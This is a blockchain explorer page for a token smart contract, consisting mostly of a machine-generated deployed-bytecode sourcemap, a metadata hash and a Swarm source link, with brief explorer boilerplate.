043e93ab36dc3c8b37a7a8f5f449fd546209ddeb5d57a7719d5ea613af9934af064736f6c63430008120033

Deployed Bytecode Sourcemap

4809:6005:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5294:28;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5294:28:0;;;;;;;;6641:83;;;;;;;;;;-1:-1:-1;6711:5:0;;;;;;;;;;;;-1:-1:-1;;;6711:5:0;;;;6641:83;;;;;;;:::i;9174:193::-;;;;;;;;;;-1:-1:-1;9174:193:0;;;;;:::i;:::-;;:::i;:::-;;;1351:14:1;;1344:22;1326:41;;1314:2;1299:18;9174:193:0;1186:187:1;5601:41:0;;;;;;;;;;-1:-1:-1;5601:41:0;;;;-1:-1:-1;;;;;5601:41:0;;;;;;-1:-1:-1;;;;;1568:32:1;;;1550:51;;1538:2;1523:18;5601:41:0;1378:229:1;7016:108:0;;;;;;;;;;;;;:::i;7766:353::-;;;;;;;;;;-1:-1:-1;7766:353:0;;;;;:::i;:::-;;:::i;6827:83::-;;;;;;;;;;-1:-1:-1;6827:83:0;;5099:2;2087:36:1;;2075:2;2060:18;6827:83:0;1945:184:1;6918:90:0;;;;;;;;;;-1:-1:-1;6989:11:0;;;;6918:90;;7132:177;;;;;;;;;;-1:-1:-1;7132:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;7283:18:0;7251:7;7283:18;;;:9;:18;;;;;;;7132:177;3883:87;;;;;;;;;;-1:-1:-1;3929:7:0;3956:6;-1:-1:-1;;;;;3956:6:0;3883:87;;6732;;;;;;;;;;-1:-1:-1;6804:7:0;;;;;;;;;;;;-1:-1:-1;;;6804:7:0;;;;6732:87;;10235:444;;;;;;;;;;-1:-1:-1;10235:444:0;;;;;:::i;:::-;;:::i;:::-;;7526:232;;;;;;;;;;-1:-1:-1;7526:232:0;;;;;:::i;:::-;;:::i;10687:87::-;;;;;;;;;;;;;:::i;7317:201::-;;;;;;;;;;-1:-1:-1;7317:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;7483:18:0;;;7451:7;7483:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7317:201;5329:29;;;;;;;;;;;;;;;;9174:193;9276:4;9298:39;3648:10;9321:7;9330:6;9298:8;:39::i;:::-;-1:-1:-1;9355:4:0;9174:193;;;;;:::o;7016:108::-;7077:7;5162:13;5099:2;5162;:13;:::i;:::-;5148:27;;:11;:27;:::i;:::-;7097:19;;7016:108;:::o;7766:353::-;7898:4;7915:36;7925:6;7933:9;7944:6;7915:9;:36::i;:::-;-1:-1:-1;;;;;8033:19:0;;;;;;:11;:19;;;;;;;;3648:10;8033:33;;;;;;;;;7962:127;;7985:6;;8033:45;;8071:6;8033:37;:45::i;:::-;7962:8;:127::i;:::-;-1:-1:-1;8107:4:0;7766:353;;;;;:::o;10235:444::-;3929:7;3956:6;-1:-1:-1;;;;;3956:6:0;3648:10;10347:23;10339:32;;;;;;10389:9;10384:288;10404:13;;;10384:288;;;10457:48;10489:15;5099:2;10489;:15;:::i;:::-;10477:6;;10484:1;10477:9;;;;;;;:::i;:::-;;;;;;;:27;;;;:::i;:::-;-1:-1:-1;;;;;10457:15:0;;;;;;:9;:15;;;;;;;:19;:48::i;:::-;-1:-1:-1;;;;;10439:15:0;;;;;;:9;:15;;;;;:66;10539:50;10573:15;5099:2;10573;:15;:::i;:::-;10560:6;;10567:1;10560:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;10539:9;:16;10549:2;;10552:1;10549:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10539:16:0;;;;;;;;;;;;-1:-1:-1;10539:16:0;;;:20;:50::i;:::-;10520:9;:16;10530:2;;10533:1;10530:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10520:16:0;;;;;;;;;;;;-1:-1:-1;10520:16:0;:69;10624:2;;10627:1;10624:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10609:51:0;10618:4;-1:-1:-1;;;;;10609:51:0;;5099:2;10644;:15;;;;:::i;:::-;10631:6;;10638:1;10631:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;10609:51;;160:25:1;;;148:2;133:18;10609:51:0;;;;;;;10419:3;;;;:::i;:::-;;;;10384:288;;;;10235:444;;;;;:::o;7526:232::-;7640:4;3648:10;7701:27;3648:10;7718:2;7722:5;7701:9;:27::i;10687:87::-;3842:13;:11;:13::i;:::-;10755:11:::1;::::0;;-1:-1:-1;;10740:26:0;::::1;10755:11;::::0;;::::1;10754:12;10740:26;::::0;;10687:87::o;4117:202::-;4175:9;4201:1;4206;4201:6;4197:47;;-1:-1:-1;4231:1:0;4224:8;;4197:47;4258:5;4262:1;4258;:5;:::i;:::-;4254:9;-1:-1:-1;4290:1:0;4281:5;4285:1;4254:9;4281:5;:::i;:::-;:10;4274:18;;;;:::i;4327:189::-;4385:7;4416:1;4412;:5;4405:13;;;;:::i;:::-;4429:9;4441:5;4445:1;4441;:5;:::i;:::-;4429:17;-1:-1:-1;4478:5:0;4482:1;4478;:5;:::i;:::-;4469;4473:1;4469;:5;:::i;:::-;:15;;;;:::i;:::-;4464:1;:20;4457:28;;;;:::i;:::-;4503:5;4507:1;4503;:5;:::i;:::-;4496:12;4327:189;-1:-1:-1;;;;4327:189:0:o;4655:147::-;4713:7;;4745:5;4749:1;4745;:5;:::i;:::-;4733:17;;4773:1;4768;:6;;4761:14;;;;:::i;:::-;4793:1;4655:147;-1:-1:-1;;;4655:147:0:o;9375:369::-;-1:-1:-1;;;;;9502:19:0;;9494:68;;;;-1:-1:-1;;;9494:68:0;;6820:2:1;9494:68:0;;;6802:21:1;6859:2;6839:18;;;6832:30;6898:34;6878:18;;;6871:62;-1:-1:-1;;;6949:18:1;;;6942:34;6993:19;;9494:68:0;;;;;;;;;-1:-1:-1;;;;;9581:21:0;;9573:68;;;;-1:-1:-1;;;9573:68:0;;7225:2:1;9573:68:0;;;7207:21:1;7264:2;7244:18;;;7237:30;7303:34;7283:18;;;7276:62;-1:-1:-1;;;7354:18:1;;;7347:32;7396:19;;9573:68:0;7023:398:1;9573:68:0;-1:-1:-1;;;;;9652:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9704:32;;160:25:1;;;9704:32:0;;133:18:1;9704:32:0;;;;;;;9375:369;;;:::o;8127:1039::-;-1:-1:-1;;;;;8216:18:0;;8208:68;;;;-1:-1:-1;;;8208:68:0;;7628:2:1;8208:68:0;;;7610:21:1;7667:2;7647:18;;;7640:30;7706:34;7686:18;;;7679:62;-1:-1:-1;;;7757:18:1;;;7750:35;7802:19;;8208:68:0;7426:401:1;8208:68:0;-1:-1:-1;;;;;8295:16:0;;8287:64;;;;-1:-1:-1;;;8287:64:0;;8034:2:1;8287:64:0;;;8016:21:1;8073:2;8053:18;;;8046:30;8112:34;8092:18;;;8085:62;-1:-1:-1;;;8163:18:1;;;8156:33;8206:19;;8287:64:0;7832:399:1;8287:64:0;8389:6;8370:15;8380:4;-1:-1:-1;;;;;7283:18:0;7251:7;7283:18;;;:9;:18;;;;;;;7132:177;8370:15;:25;;8362:76;;;;-1:-1:-1;;;8362:76:0;;8438:2:1;8362:76:0;;;8420:21:1;8477:2;8457:18;;;8450:30;8516:34;8496:18;;;8489:62;-1:-1:-1;;;8567:18:1;;;8560:36;8613:19;;8362:76:0;8236:402:1;8362:76:0;-1:-1:-1;;;;;8487:22:0;;8449:17;8487:22;;;:16;:22;;;;;;;;8486:23;:48;;;;-1:-1:-1;;;;;;8514:20:0;;;;;;:16;:20;;;;;;;;8513:21;8486:48;8483:330;;;8559:11;;;;8551:53;;;;-1:-1:-1;;;8551:53:0;;8845:2:1;8551:53:0;;;8827:21:1;8884:2;8864:18;;;8857:30;8923:31;8903:18;;;8896:59;8972:18;;8551:53:0;8643:353:1;8551:53:0;8652:3;8640:9;;8631:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;8679:13;;8619:36;;-1:-1:-1;;;;;;8679:13:0;;;8673:19;;;;8670:132;;8747:3;8734:10;;8725:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;8713:37;;8769:17;8781:4;8769:11;:17::i;:::-;8828:13;;8825:164;;8901:4;8883:24;;;;:9;:24;;;;;;:34;;8908:9;;8883:34;:::i;:::-;8876:4;8858:24;;;;:9;:24;;;;;;;:59;;;;8937:40;;-1:-1:-1;;;;;8937:40:0;;;;;;;8967:9;160:25:1;;148:2;133:18;;14:177;8937:40:0;;;;;;;;8825:164;9036:6;9018:15;9028:4;-1:-1:-1;;;;;7283:18:0;7251:7;7283:18;;;:9;:18;;;;;;;7132:177;9018:15;:24;;;;:::i;:::-;-1:-1:-1;;;;;9001:15:0;;;;;;:9;:15;;;;;:41;9085:18;9094:9;9085:6;:18;:::i;:::-;-1:-1:-1;;;;;9068:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;9054:13:0;;;;;;;:9;:13;;;;;:50;;;;9120:38;;;9139:18;9148:9;9139:6;:18;:::i;:::-;9120:38;;160:25:1;;;148:2;133:18;9120:38:0;;;;;;;8197:969;8127:1039;;;:::o;4524:123::-;4582:7;4614:1;4609;:6;;4602:14;;;;:::i;:::-;4634:5;4638:1;4634;:5;:::i;3978:108::-;4042:6;;-1:-1:-1;;;;;4042:6:0;3648:10;4042:22;4034:44;;;;-1:-1:-1;;;4034:44:0;;9336:2:1;4034:44:0;;;9318:21:1;9375:1;9355:18;;;9348:29;-1:-1:-1;;;9393:18:1;;;9386:39;9442:18;;4034:44:0;9134:332:1;4034:44:0;3978:108::o;9839:255::-;-1:-1:-1;;;;;7283:18:0;;9916:1;7283:18;;;:9;:18;;;;;;9900:17;9897:189;;9939:11;;;;9934:141;;9971:25;9982:13;;9971:10;:25::i;:::-;9839:255;:::o;9934:141::-;10037:22;10048:10;;10102:125;10179:4;10165:11;:18;10161:59;;;10200:8;;;196:548:1;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:173::-;817:20;;-1:-1:-1;;;;;866:31:1;;856:42;;846:70;;912:1;909;902:12;846:70;749:173;;;:::o;927:254::-;995:6;1003;1056:2;1044:9;1035:7;1031:23;1027:32;1024:52;;;1072:1;1069;1062:12;1024:52;1095:29;1114:9;1095:29;:::i;:::-;1085:39;1171:2;1156:18;;;;1143:32;;-1:-1:-1;;;927:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;2134:186::-;2193:6;2246:2;2234:9;2225:7;2221:23;2217:32;2214:52;;;2262:1;2259;2252:12;2214:52;2285:29;2304:9;2285:29;:::i;2533:367::-;2596:8;2606:6;2660:3;2653:4;2645:6;2641:17;2637:27;2627:55;;2678:1;2675;2668:12;2627:55;-1:-1:-1;2701:20:1;;2744:18;2733:30;;2730:50;;;2776:1;2773;2766:12;2730:50;2813:4;2805:6;2801:17;2789:29;;2873:3;2866:4;2856:6;2853:1;2849:14;2841:6;2837:27;2833:38;2830:47;2827:67;;;2890:1;2887;2880:12;2827:67;2533:367;;;;;:::o;2905:847::-;3036:6;3044;3052;3060;3068;3121:2;3109:9;3100:7;3096:23;3092:32;3089:52;;;3137:1;3134;3127:12;3089:52;3160:29;3179:9;3160:29;:::i;:::-;3150:39;;3240:2;3229:9;3225:18;3212:32;3263:18;3304:2;3296:6;3293:14;3290:34;;;3320:1;3317;3310:12;3290:34;3359:70;3421:7;3412:6;3401:9;3397:22;3359:70;:::i;:::-;3448:8;;-1:-1:-1;3333:96:1;-1:-1:-1;3536:2:1;3521:18;;3508:32;;-1:-1:-1;3552:16:1;;;3549:36;;;3581:1;3578;3571:12;3549:36;;3620:72;3684:7;3673:8;3662:9;3658:24;3620:72;:::i;:::-;2905:847;;;;-1:-1:-1;2905:847:1;;-1:-1:-1;3711:8:1;;3594:98;2905:847;-1:-1:-1;;;2905:847:1:o;3757:260::-;3825:6;3833;3886:2;3874:9;3865:7;3861:23;3857:32;3854:52;;;3902:1;3899;3892:12;3854:52;3925:29;3944:9;3925:29;:::i;:::-;3915:39;;3973:38;4007:2;3996:9;3992:18;3973:38;:::i;:::-;3963:48;;3757:260;;;;;:::o;4022:127::-;4083:10;4078:3;4074:20;4071:1;4064:31;4114:4;4111:1;4104:15;4138:4;4135:1;4128:15;4154:422;4243:1;4286:5;4243:1;4300:270;4321:7;4311:8;4308:21;4300:270;;;4380:4;4376:1;4372:6;4368:17;4362:4;4359:27;4356:53;;;4389:18;;:::i;:::-;4439:7;4429:8;4425:22;4422:55;;;4459:16;;;;4422:55;4538:22;;;;4498:15;;;;4300:270;;;4304:3;4154:422;;;;;:::o;4581:806::-;4630:5;4660:8;4650:80;;-1:-1:-1;4701:1:1;4715:5;;4650:80;4749:4;4739:76;;-1:-1:-1;4786:1:1;4800:5;;4739:76;4831:4;4849:1;4844:59;;;;4917:1;4912:130;;;;4824:218;;4844:59;4874:1;4865:10;;4888:5;;;4912:130;4949:3;4939:8;4936:17;4933:43;;;4956:18;;:::i;:::-;-1:-1:-1;;5012:1:1;4998:16;;5027:5;;4824:218;;5126:2;5116:8;5113:16;5107:3;5101:4;5098:13;5094:36;5088:2;5078:8;5075:16;5070:2;5064:4;5061:12;5057:35;5054:77;5051:159;;;-1:-1:-1;5163:19:1;;;5195:5;;5051:159;5242:34;5267:8;5261:4;5242:34;:::i;:::-;5312:6;5308:1;5304:6;5300:19;5291:7;5288:32;5285:58;;;5323:18;;:::i;:::-;5361:20;;4581:806;-1:-1:-1;;;4581:806:1:o;5392:140::-;5450:5;5479:47;5520:4;5510:8;5506:19;5500:4;5479:47;:::i;5537:168::-;5610:9;;;5641;;5658:15;;;5652:22;;5638:37;5628:71;;5679:18;;:::i;5710:127::-;5771:10;5766:3;5762:20;5759:1;5752:31;5802:4;5799:1;5792:15;5826:4;5823:1;5816:15;5842:135;5881:3;5902:17;;;5899:43;;5922:18;;:::i;:::-;-1:-1:-1;5969:1:1;5958:13;;5842:135::o;5982:127::-;6043:10;6038:3;6034:20;6031:1;6024:31;6074:4;6071:1;6064:15;6098:4;6095:1;6088:15;6114:120;6154:1;6180;6170:35;;6185:18;;:::i;:::-;-1:-1:-1;6219:9:1;;6114:120::o;6239:127::-;6300:10;6295:3;6291:20;6288:1;6281:31;6331:4;6328:1;6321:15;6355:4;6352:1;6345:15;6371:112;6403:1;6429;6419:35;;6434:18;;:::i;:::-;-1:-1:-1;6468:9:1;;6371:112::o;6488:125::-;6553:9;;;6574:10;;;6571:36;;;6587:18;;:::i;9001:128::-;9068:9;;;9089:11;;;9086:37;;;9103:18;;:::i

Swarm Source

ipfs://43e93ab36dc3c8b37a7a8f5f449fd546209ddeb5d57a7719d5ea613af9934af0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.